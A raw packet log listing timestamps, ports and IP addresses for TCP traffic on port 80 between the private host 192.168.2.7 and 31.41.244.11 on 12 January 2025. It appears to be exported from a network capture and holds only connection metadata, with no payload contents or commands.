Jan 12, 2025 17:39:13.994777918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994808912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994841099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994842052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994842052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994875908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994913101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994914055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994914055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994992018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.995003939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.995037079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.995059967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.995059967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.995189905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.025868893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.025963068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.025979042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.025995970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026046991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026047945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026048899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026081085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026134968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026187897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026187897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026187897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026187897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026242018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026252031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026274920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026309013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026341915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026360035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026369095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026393890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026444912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026478052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026479959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026479959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026545048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026551008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026602030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026604891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026604891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026653051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026685953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026695967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026695967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026722908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026765108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026767015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026767969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026801109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026834011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026864052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026869059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026901007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026910067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026910067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.026932955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.026967049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027002096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027013063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027013063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027013063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027034998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027069092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027097940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027097940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027101040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027133942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027168989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027173996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027173996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027173996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027198076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027230024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027262926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027287960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027287960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027287960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027295113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027339935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027339935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027347088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027379990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027400017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027414083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027445078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027466059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027466059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027481079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027498007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027512074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027544022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027578115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027605057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027605057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027609110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027642012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027674913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027693033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027693033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027693033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027707100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027741909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027775049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027786970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027786970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027786970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027807951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027839899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027862072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027862072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027875900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027906895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027926922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027926922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.027939081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.027971983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.028002977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028002977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.028002977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028028011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028038979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.028072119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.028105021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.028117895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028117895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028117895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028136969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.028146982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028172016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.028201103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.028249025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028249025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.028249025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079195023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079263926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079336882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079340935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079375029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079411983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079423904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079423904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079451084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079485893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079519033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079524994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079524994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079524994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079554081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079585075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079596996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079596996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079618931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079654932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079667091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079667091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079760075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079785109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079796076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079828978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079852104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079852104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079874039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079909086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.079925060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079925060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.079989910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080046892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080091953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080091953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080091953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080108881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080162048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080205917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080205917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080215931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080266953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080274105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080318928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080322027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080353975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080388069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080405951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080405951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080424070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080459118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080492020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080503941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080503941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080503941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080528021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080562115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080576897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080576897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080596924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080630064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080663919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080672979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080672979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080672979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080698967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080734015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080760956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080760956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080770969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080805063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080837011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080853939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080853939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080853939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080873013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080905914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080919981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080919981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.080940008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.080972910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081007004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081021070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081021070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081021070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081042051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081062078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081079960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081110954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081145048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081166029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081166029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081178904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081212044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081224918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081224918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081259012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081293106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081312895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081312895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081326962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081361055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081398010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081404924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081404924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081404924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081432104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081466913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081495047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081495047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081496000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081537962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081568956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081568956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081576109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081595898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081604958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.081650972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.081650972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112071991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112168074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112180948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112193108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112202883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112214088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112225056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112236977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112246990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112268925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112303019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112303019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112315893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112329960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112339973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112350941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112371922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112381935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112387896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112387896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112387896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112394094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112405062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112413883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112416983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112431049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112441063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112452030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112456083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112456083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112473011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112488985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112515926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112519026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112519026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112529039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112540960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112550974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112562895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112574100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112574100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112574100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112576008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112586021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112598896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112607956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112617970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112631083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112642050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112643003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112643003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112643003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112653971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112664938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112699986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112700939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112700939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112700939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112710953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112721920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112742901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112755060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112755060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112756968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112770081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112780094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112791061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112802029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112821102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112831116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112831116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112831116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112832069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112843037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112854004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112865925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112869024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112869024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112876892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112888098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112900019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112901926 CET	49975	80	192.168.2.7	31.41.244.11
